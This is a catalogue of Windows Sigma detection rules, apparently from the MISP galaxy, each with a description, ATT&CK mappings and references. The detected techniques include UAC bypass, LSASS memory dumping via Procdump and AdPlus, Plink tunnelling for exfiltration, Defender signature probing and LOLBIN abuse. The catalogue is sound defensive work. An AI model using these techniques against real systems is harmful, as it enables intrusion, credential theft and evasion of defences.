Detects the execution of SharpWSUS or WSUSpendu, utilities that allow for lateral movement through WSUS. Windows Server Update Services (WSUS) is a critical component of Windows systems and is frequently configured in a way that allows an attacker to circumvent internal networking limitations.

The tag is: *misp-galaxy:sigma-rules="HackTool - SharpWSUS/WSUSpendu Execution"*

View relationships graph

HackTool - SharpWSUS/WSUSpendu Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

Table 15171. Table References

Links

https://web.archive.org/web/20210512154016/https://github.com/AlsidOfficial/WSUSpendu/blob/master/WSUSpendu.ps1
https://labs.nettitude.com/blog/introducing-sharpwsus/
https://github.com/nettitude/SharpWSUS
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpwsus_wsuspendu_execution.yml

Rundll32 Execution With Uncommon DLL Extension

Detects the execution of rundll32 with a command line that doesn't contain a common extension

The tag is: *misp-galaxy:sigma-rules="Rundll32 Execution With Uncommon DLL Extension"*

View relationships graph

Rundll32 Execution With Uncommon DLL Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15172. Table References

Links
https://twitter.com/mrd0x/status/1481630810495139841?s=12
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_uncommon_dll_extension.yml

Uncommon Assistive Technology Applications Execution Via AtBroker.EXE

Detects the start of a non built-in assistive technology applications via "Atbroker.EXE".

The tag is: *misp-galaxy:sigma-rules="Uncommon Assistive Technology Applications Execution Via AtBroker.EXE"*

View relationships graph

Uncommon Assistive Technology Applications Execution Via AtBroker.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15173. Table References

Links
http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/
https://lolbas-project.github.io/lolbas/Binaries/Atbroker/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_atbroker_uncommon_ats_execution.yml

UAC Bypass Using Disk Cleanup

Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using Disk Cleanup"*

View relationships graph

UAC Bypass Using Disk Cleanup has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15174. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cleanmgr.yml

AddinUtil.EXE Execution From Uncommon Directory

Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) from a non-standard directory.

The tag is: *misp-galaxy:sigma-rules="AddinUtil.EXE Execution From Uncommon Directory"*

View relationships graph

AddinUtil.EXE Execution From Uncommon Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15175. Table References

Links
https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_dir_exec.yml

Hidden Powershell in Link File Pattern

Detects events that appear when a user click on a link file with a powershell command in it

The tag is: *misp-galaxy:sigma-rules="Hidden Powershell in Link File Pattern"*

View relationships graph

Hidden Powershell in Link File Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15176. Table References

Links
https://www.x86matthew.com/view_post?id=embed_exe_lnk
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_embed_exe_lnk.yml

HackTool - RedMimicry Winnti Playbook Execution

Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility

The tag is: *misp-galaxy:sigma-rules="HackTool - RedMimicry Winnti Playbook Execution"*

View relationships graph

HackTool - RedMimicry Winnti Playbook Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15177. Table References

Links
https://redmimicry.com/posts/redmimicry-winnti/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_redmimicry_winnti_playbook.yml

Potential Command Line Path Traversal Evasion Attempt

Detects potential evasion or obfuscation attempts using bogus path traversal via the commandline

The tag is: *misp-galaxy:sigma-rules="Potential Command Line Path Traversal Evasion Attempt"*

View relationships graph

Potential Command Line Path Traversal Evasion Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15178. Table References

Links
https://twitter.com/hexacorn/status/1448037865435320323
https://twitter.com/Gal_B1t/status/1062971006078345217
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_commandline_path_traversal_evasion.yml

Interactive AT Job

Detects an interactive AT job, which may be used as a form of privilege escalation.

The tag is: *misp-galaxy:sigma-rules="Interactive AT Job"*

View relationships graph

Interactive AT Job has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 15179. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md
https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_at_interactive_execution.yml

PUA - DefenderCheck Execution

Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.

The tag is: *misp-galaxy:sigma-rules="PUA - DefenderCheck Execution"*

View relationships graph

PUA - DefenderCheck Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with

estimative-language:likelihood-probability="almost-certain"

Table 15180. Table References

Links
https://github.com/matterpreter/DefenderCheck
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_defendercheck.yml

NodeJS Execution of JavaScript File

Detects execution of JavaScript or JSC files using NodeJs binary node.exe, that could be potentially suspicious. Node.js is a popular open-source JavaScript runtime that runs code outside browsers and is widely used for both frontend and backend development. Adversaries have been observed abusing Node.js to disguise malware as legitimate processes, evade security defenses, and maintain persistence within target systems. Because Node.js is commonly used, this rule may generate false positives in some environments. However, if such activity is unusual in your environment, it is highly suspicious and warrants immediate investigation.

The tag is: *misp-galaxy:sigma-rules="NodeJS Execution of JavaScript File"*

View relationships graph

NodeJS Execution of JavaScript File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 15181. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/04/15/threat-actors-misuse-node-js-to-deliver-malware-and-other-malicious-payloads/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_security_susp_node_js_execution.yml

Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell

Detects Powershell as a child of the WmiPrvSE process. Which could be a sign of lateral movement via WMI.

The tag is: *misp-galaxy:sigma-rules="Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell"*

View relationships graph

Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15182. Table References

Links
https://any.run/report/68bc255f9b0db6a0d30a8f2dadfbee3256acfe12497bf93943bc1eab0735e45e/a2385d6f-34f7-403c-90d3-b1f9d2a90a5e
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_spawns_powershell.yml

User Discovery And Export Via Get-ADUser Cmdlet

Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file

The tag is: *misp-galaxy:sigma-rules="User Discovery And Export Via Get-ADUser Cmdlet"*

View relationships graph

User Discovery And Export Via Get-ADUser Cmdlet has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 15183. Table References

Links
http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_user_discovery_get_aduser.yml

Filter Driver Unloaded Via Fltmc.EXE

Detect filter driver unloading activity via fltmc.exe

The tag is: *misp-galaxy:sigma-rules="Filter Driver Unloaded Via Fltmc.EXE"*

View relationships graph

Filter Driver Unloaded Via Fltmc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-

language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 15184. Table References

Links
https://www.cybereason.com/blog/threat-analysis-report-lockbit-2.0-all-paths-lead-to-ransom
https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fltmc_unload_driver.yml

Powershell Executed From Headless ConHost Process

Detects the use of powershell commands from headless ConHost window. The "--headless" flag hides the windows from the user upon execution.

The tag is: *misp-galaxy:sigma-rules="Powershell Executed From Headless ConHost Process"*

View relationships graph

Powershell Executed From Headless ConHost Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

Table 15185. Table References

Links
https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_headless_powershell.yml

Renamed Whoami Execution

Detects the execution of whoami that has been renamed to a different name to avoid detection

The tag is: *misp-galaxy:sigma-rules="Renamed Whoami Execution"*

View relationships graph

Renamed Whoami Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 15186. Table References

Links
https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/
https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_whoami.yml

HackTool - WinPwn Execution

Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.

The tag is: *misp-galaxy:sigma-rules="HackTool - WinPwn Execution"*

View relationships graph

HackTool - WinPwn Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

Table 15187. Table References

Links
https://github.com/S3cur3Th1sSh1t/WinPwn
https://reconshell.com/winpwn-tool-for-internal-windows-pentesting-and-ad-security/

https://www.publicnow.com/view/EB87DB49C654D9B63995FAD4C9DE3D3CC4F6C3ED?1671634841
repo[0]=redcanaryco/atomic-red-team[repo[0]=redcanaryco/atomic-red-team]
https://github.com/redcanaryco/atomic-red-team/blob/4d6c4e8e23d465af7a2388620cfe3f8c76e16cf0/atomics/T1082/T1082.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_winpwn.yml

Suspicious Child Process Created as System

Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts

The tag is: *misp-galaxy:sigma-rules="Suspicious Child Process Created as System"*

View relationships graph

Suspicious Child Process Created as System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"

Table 15188. Table References

Links
https://twitter.com/Cyb3rWard0g/status/1453123054243024897
https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment
https://github.com/antonioCoco/RogueWinRM
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_child_process_as_system_.yml

Suspicious MSDT Parent Process

Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation

The tag is: *misp-galaxy:sigma-rules="Suspicious MSDT Parent Process"*

View relationships graph

Suspicious MSDT Parent Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15189. Table References

Links
https://twitter.com/nao_sec/status/1530196847679401984
https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_parent.yml

Use Icacls to Hide File to Everyone

Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious files

The tag is: *misp-galaxy:sigma-rules="Use Icacls to Hide File to Everyone"*

View relationships graph

Use Icacls to Hide File to Everyone has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 15190. Table References

Links
https://app.any.run/tasks/1df999e6-1cb8-45e3-8b61-499d1b7d5a9b/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_icacls_deny.yml

Suspicious Usage of For Loop with Recursive Directory Search in CMD

Detects suspicious usage of the cmd.exe 'for /f' loop combined with the 'tokens=' parameter and a recursive directory listing. This pattern may indicate an attempt to discover and execute system binaries dynamically, for example powershell, a technique sometimes used by attackers to evade detection. This behavior has been observed in various malicious lnk files.

The tag is: *misp-galaxy:sigma-rules="Suspicious Usage of For Loop with Recursive Directory Search in CMD"*

View relationships graph

Suspicious Usage of For Loop with Recursive Directory Search in CMD has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with

estimative-language:likelihood-probability="almost-certain"

Table 15191. Table References

Links
https://www.virustotal.com/gui/file/29837d0d3202758063185828c8f8d9e0b7b42b365c8941cc926d2d7c7bae2fb3
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_for_loop_execution_with_recursive_directory_search.yml

HackTool - winPEAS Execution

WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz

The tag is: *misp-galaxy:sigma-rules="HackTool - winPEAS Execution"*

View relationships graph

HackTool - winPEAS Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 15192. Table References

Links
https://github.com/carlospolop/PEASS-ng
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_winpeas.yml

Arbitrary Binary Execution Using GUP Utility

Detects execution of the Notepad++ updater (gup) to launch other commands or executables

The tag is: *misp-galaxy:sigma-rules="Arbitrary Binary Execution Using GUP Utility"*

Table 15193. Table References

Links
https://twitter.com/nas_bench/status/1535322445439180803

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gup_arbitrary_binary_execution.yml

Suspicious Powercfg Execution To Change Lock Screen Timeout

Detects suspicious execution of 'Powercfg.exe' to change lock screen timeout

The tag is: *misp-galaxy:sigma-rules="Suspicious Powercfg Execution To Change Lock Screen Timeout"*

Table 15194. Table References

Links
https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options
https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powercfg_execution.yml

Gzip Archive Decode Via PowerShell

Detects attempts of decoding encoded Gzip archives via PowerShell.

The tag is: *misp-galaxy:sigma-rules="Gzip Archive Decode Via PowerShell"*

View relationships graph

Gzip Archive Decode Via PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

Table 15195. Table References

Links
https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_decode_gzip.yml

Suspicious GrpConv Execution

Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors

The tag is: *misp-galaxy:sigma-rules="Suspicious GrpConv Execution"*

View relationships graph

Suspicious GrpConv Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"

Table 15196. Table References

Links
https://twitter.com/0gtweet/status/1526833181831200770
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_grpconv.yml

File Download From Browser Process Via Inline URL

Detects execution of a browser process with a URL argument pointing to a file with a potentially interesting extension. This can be abused to download arbitrary files or to hide from the user for example by launching the browser in a minimized state.

The tag is: *misp-galaxy:sigma-rules="File Download From Browser Process Via Inline URL"*

View relationships graph

File Download From Browser Process Via Inline URL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15197. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Msedge/
https://twitter.com/mrd0x/status/1478116126005641220
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_inline_file_download.yml

Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution

Detects child processes of Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary

The tag is: *misp-galaxy:sigma-rules="Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution"*

View relationships graph

Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15198. Table References

Links
https://twitter.com/mrd0x/status/1463526834918854661
https://gist.github.com/nasbench/a989ce64cefa8081bd50cf6ad8c491b5
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pressanykey_lolbin_execution.yml

Winrs Local Command Execution

Detects the execution of Winrs.exe where it is used to execute commands locally. Commands executed this way are launched under Winrshost.exe and can represent proxy execution used for defense evasion or lateral movement.

The tag is: *misp-galaxy:sigma-rules="Winrs Local Command Execution"*

View relationships graph

Winrs Local Command Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15199. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs
https://cardinalops.com/blog/living-off-winrm-abusing-complexity-in-remote-management/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrs_local_command_execution.yml

Potentially Suspicious Ping/Copy Command Combination

Detects uncommon and potentially suspicious one-liner command containing both "ping" and "copy" at the same time, which is usually used by malware.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Ping/Copy Command Combination"*

View relationships graph

Potentially Suspicious Ping/Copy Command Combination has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 15200. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_ping_copy_combined_execution.yml

Potential Configuration And Service Reconnaissance Via Reg.EXE

Detects the usage of "reg.exe" in order to query reconnaissance information from the registry. Adversaries may interact with the Windows registry to gather information about credentials, the system, configuration, and installed software.

The tag is: *misp-galaxy:sigma-rules="Potential Configuration And Service Reconnaissance Via Reg.EXE"*

View relationships graph

Potential Configuration And Service Reconnaissance Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 15201. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1012/T1012.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_query_registry.yml

Renamed AdFind Execution

Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.

The tag is: *misp-galaxy:sigma-rules="Renamed AdFind Execution"*

View relationships graph

Renamed AdFind Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

Table 15202. Table References

Links
https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx
https://thedfirreport.com/2020/05/08/adfind-recon/
https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/
https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/
https://www.joeware.net/freetools/tools/adfind/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_adfind.yml

Procdump Execution

Detects usage of the SysInternals Procdump utility

The tag is: *misp-galaxy:sigma-rules="Procdump Execution"*

View relationships graph

Procdump Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15203. Table References

Links
https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_procdump.yml

Potential Suspicious Registry File Imported Via Reg.EXE

Detects the import of '.reg' files from suspicious paths using the 'reg.exe' utility

The tag is: *misp-galaxy:sigma-rules="Potential Suspicious Registry File Imported Via Reg.EXE"*

View relationships graph

Potential Suspicious Registry File Imported Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15204. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_import_from_suspicious_paths.yml

Windows Hotfix Updates Reconnaissance Via Wmic.EXE

Detects the execution of wmic with the "qfe" flag in order to obtain information about installed hotfix updates on the system. This is often used by pentester and attacker enumeration scripts

The tag is: *misp-galaxy:sigma-rules="Windows Hotfix Updates Reconnaissance Via Wmic.EXE"*

View relationships graph

Windows Hotfix Updates Reconnaissance Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15205. Table References

Links
https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_hotfix.yml

Potential RDP Tunneling Via Plink

Execution of plink to perform data exfiltration and tunneling

The tag is: *misp-galaxy:sigma-rules="Potential RDP Tunneling Via Plink"*

View relationships graph

Potential RDP Tunneling Via Plink has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 15206. Table References

Links
https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plink_susp_tunneling.yml

Renamed Cloudflared.EXE Execution

Detects the execution of a renamed "cloudflared" binary.

The tag is: *misp-galaxy:sigma-rules="Renamed Cloudflared.EXE Execution"*

View relationships graph

Renamed Cloudflared.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 15207. Table References

Links
https://github.com/cloudflare/cloudflared/releases
https://github.com/cloudflare/cloudflared
https://www.intrinsec.com/akira_ransomware/
https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/
https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_cloudflared.yml

Potential Adplus.EXE Abuse

Detects execution of "AdPlus.exe", a binary that is part of the Windows SDK that can be used as a LOLBIN in order to dump process memory and execute arbitrary commands.

The tag is: *misp-galaxy:sigma-rules="Potential Adplus.EXE Abuse"*

View relationships graph

Potential Adplus.EXE Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15208. Table References

Links
https://twitter.com/nas_bench/status/1534915321856917506
https://twitter.com/nas_bench/status/1534916659676422152
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_adplus_memory_dump.yml

PrintBrm ZIP Creation of Extraction

Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.

The tag is: *misp-galaxy:sigma-rules="PrintBrm ZIP Creation of Extraction"*

View relationships graph

PrintBrm ZIP Creation of Extraction has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 15209. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml

File Decryption Using Gpg4win

Detects usage of Gpg4win to decrypt files

The tag is: *misp-galaxy:sigma-rules="File Decryption Using Gpg4win"*

Table 15210. Table References

Links
https://www.gpg4win.de/documentation.html
https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html
https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_decryption.yml

Remote Access Tool - LogMeIn Execution

